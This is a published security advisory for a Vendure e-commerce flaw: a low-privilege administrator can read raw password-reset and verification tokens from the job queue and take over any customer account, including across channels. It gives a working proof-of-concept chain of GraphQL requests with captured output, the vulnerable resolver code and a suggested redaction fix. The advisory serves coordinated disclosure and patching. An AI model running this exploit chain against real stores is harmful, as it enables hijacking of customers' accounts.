Low-privilege administrator can read password-reset / verification / email-change tokens from Job.data and take over any customer account (cross-channel)
8.8
High
CVSS 3.1 base
What to do
If you run @vendure/core before 3.7.5, no fixed version is listed in the advisory.
Anyone who can reach it over the network, with a low-privilege account and no user interaction, can read and change sensitive data and make it unavailable.Read from the CVSS 3.1 vector
To exploit it
What it gets
This page reproduces the published advisory for this finding. The advisory of record is linked above.
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
@vendure/core | npm | < 3.7.5 | n/a |
The Job.data Admin API field resolver redacts only the serialized session token (job.data.ctx._session.token, the fix for GHSA-32jm-mf7r-7qw5). It returns the rest of job.data verbatim, including job.data.templateVars, into which the default email handlers write the raw passwordResetToken, verificationToken, and identifierChangeToken. The jobs query is gated only by Permission.ReadSettings or Permission.ReadSystem and applies no channel scoping. An administrator holding only those read permissions (including one scoped to a single channel) can therefore harvest a password-reset token for any customer in any channel and complete resetPassword through the public Shop API, fully taking over the account.
Confirmed on @vendure/core + @vendure/email-plugin 3.7.3 (latest release). Present on the default @vendure/create scaffold, which ships DefaultJobQueuePlugin and EmailPlugin with defaultEmailHandlers.
package.json:
{ "name":"vendure-poc","private":true,
"dependencies":{"@vendure/core":"3.7.3","@vendure/email-plugin":"3.7.3","better-sqlite3":"^11.0.0","typescript":"5.3.3"},
"devDependencies":{"ts-node":"^10.9.2"} }
index.ts boots Vendure on port 3050 with DefaultJobQueuePlugin.init({}) and EmailPlugin.init({ handlers: defaultEmailHandlers, transport:{type:'none'}, ... }), superadminCredentials {superadmin/superadmin}, requireVerification:false. Run with npx ts-node ./index.ts.
[ReadSettings, ReadSystem] and an administrator holding it. This administrator is forbidden from reading administrators (verified: FORBIDDEN), so it is genuinely low-privilege.victim@test.com). The attacker triggers the public, unauthenticated Shop API mutation:mutation { requestPasswordReset(emailAddress:"victim@test.com"){ ... on Success{success} } }
query { jobs(options:{take:100,sort:{createdAt:DESC}}){ items{ id queueName data } } }
Expected output (real, captured on 3.7.3):
{"queueName":"send-email","id":"1",
"data":{"templateVars":{"passwordResetToken":"MjAyNi0xMC0wNFQwMzowNDoxOS40MDla_P4XTZ8TLYRU2FQT5", ...}}}
The session token is correctly absent (ctx._session has no token), proving the GHSA-32jm fix is present and that this is a distinct, unredacted field.
mutation { resetPassword(token:"MjAyNi0...TZ8TLYRU2FQT5", password:"attackerNewPass999"){ ... on CurrentUser{identifier} } }
Real output: {"resetPassword":{"__typename":"CurrentUser","identifier":"victim@test.com"}}. Logging in as victim@test.com with attackerNewPass999 then succeeds.
With a second channel B and a role granting [ReadSettings] on channel B ONLY, an administrator whose activeChannel is channel-b reads the password-reset token of a customer registered on the default channel A (the jobs query has no channel filter) and takes over that channel-A customer. Verified end to end.
poc/poc_jobdata_token_leak.sh (single-channel takeover) and poc/poc_crosschannel_token_leak.sh (cross-channel). Both print ACCOUNT TAKEOVER CONFIRMED.
packages/core/src/api/resolvers/entity/job-entity.resolver.ts, data() resolve-field: it prunes only job.data.ctx:
async data(@Parent() job: Job) {
const ctx = job.data.ctx;
if (this.isSerializedRequestContext(ctx)) {
const prunedCtx = { ...pick(ctx, [...]),
_session: ctx._session ? { ...omit(ctx._session, ['token']), ... } : {} };
job.data.ctx = prunedCtx; // only ctx is sanitized
}
return job.data; // templateVars returned verbatim
}
The tokens enter job.data.templateVars in packages/email-plugin/src/handler/default-email-handlers.ts:
// line 62 verificationToken: event.user.getNativeAuthenticationMethod().verificationToken
// line 72 passwordResetToken: event.user.getNativeAuthenticationMethod().passwordResetToken
// line 82 identifierChangeToken: event.user.getNativeAuthenticationMethod().identifierChangeToken
and are enqueued verbatim at packages/email-plugin/src/plugin.ts (this.jobQueue.add(result, { retries: 5 }), where result.templateVars carries them). The jobs/job queries (packages/core/src/api/resolvers/admin/job.resolver.ts:28,38,51) are @Allow(Permission.ReadSettings, Permission.ReadSystem) with no channel scoping. DefaultJobQueuePlugin persists job.data as a simple-json column and retains settled jobs (default 1000, cleaned every 2h), so tokens remain readable after the mail is processed.
An administrator with only ReadSettings or ReadSystem (a read-only role that cannot manage users) can take over any customer account on demand: the attacker initiates the reset via the public API, reads the token from the job queue, and resets the password. Because jobs is not channel-scoped, a channel-restricted administrator reaches customers of every other channel. Verification and email-change tokens allow hijacking pending registrations and email-change flows the same way.
Minimal, mirroring the GHSA-32jm 3.7.3 approach (close the API read path): deep-redact sensitive keys from job.data in the resolver.
// job-entity.resolver.ts, in data()
const SENSITIVE = /token|password|secret|identifierChange/i;
function redact(o: any): any {
if (Array.isArray(o)) return o.map(redact);
if (o && typeof o === 'object') {
return Object.fromEntries(Object.entries(o).map(
([k, v]) => [k, SENSITIVE.test(k) ? '[REDACTED]' : redact(v)]));
}
return o;
}
return redact(job.data);
Deeper fix (recommended): the email pipeline should not persist raw credentials in job data at all. Pass a user reference in the job payload and resolve the token at send time on the worker, as was done for the session token in the GHSA-32jm follow-up.
CVSS 3.1: 9.6 Critical, vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N (Scope:Changed proven by the cross-channel PoC; floor 8.1 S:U if a reviewer declines Scope:Changed).
CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor); CWE-522 (Insufficiently Protected Credentials). Leads to CWE-640 / account takeover.
I work to a 90 day coordinated disclosure timeline, the Project Zero norm: 90 days from this report, or 30 days after a fix is available, whichever comes first. Nothing is needed from you in the meantime, and I will extend it on request.
When you publish, GitHub shows a Request CVE button on the advisory form. It is worth the click: it is what lets dependency scanners and distribution trackers tell the people already running an affected version that they need to update. Without one, most operators find out only if they happen to read the release notes.
Credit is entirely your call, including none.
Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the @vendure/core maintainers under coordinated disclosure and is credited as a reporter in GHSA-hxvp-ff3g-qcj7, published 2026-10-23.
All published findings: advisory index.